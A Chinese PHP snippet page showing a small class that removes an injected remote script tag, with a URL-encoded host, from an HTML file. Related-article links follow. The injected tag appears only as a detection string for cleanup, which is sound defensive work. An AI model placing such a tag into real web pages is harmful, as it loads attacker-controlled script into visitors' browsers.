php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php常用Stream函数集介绍

stream_bucket_append函数:为队列添加数据 stream_bucket_make_writeable函数:从操作的队列中返回一个数据对象stream_bucket_ne...

PHP中exec与system用法区别分析

本文实例讲述了PHP中exec与system用法区别,分享给大家供大家参考之用。具体方法如下: 一般来说,在PHP中调用外部命令,可以用exec及system来实现: system()...

利用PHP判断文件是否为图片的方法总结

前言 在网页设计中,如果需要图片,我们通常拿到的是一个图片的文件名。仅仅通过文件名是无法判断该文件是否是一个图片文件的。或许有的人以为通过后缀名就可以判断,别忘了文件的后缀名是可以随便改...

PHP英文字母大小写转换函数小结

每个单词的首字母转换为大写:ucwords()复制代码 代码如下:<?php$foo = 'hello world!';$foo = ucwords($foo); &nb...

PHP Class&amp;Object -- PHP 自排序二叉树的深入解析

在节点之间再应用一些排序逻辑,二叉树就能提供出色的组织方式。对于每个节点,都让满足所有特定条件的元素都位于左节点及其子节点。在插入新元素时,我们需要从树的第一个节 点(根节点)开始,判断...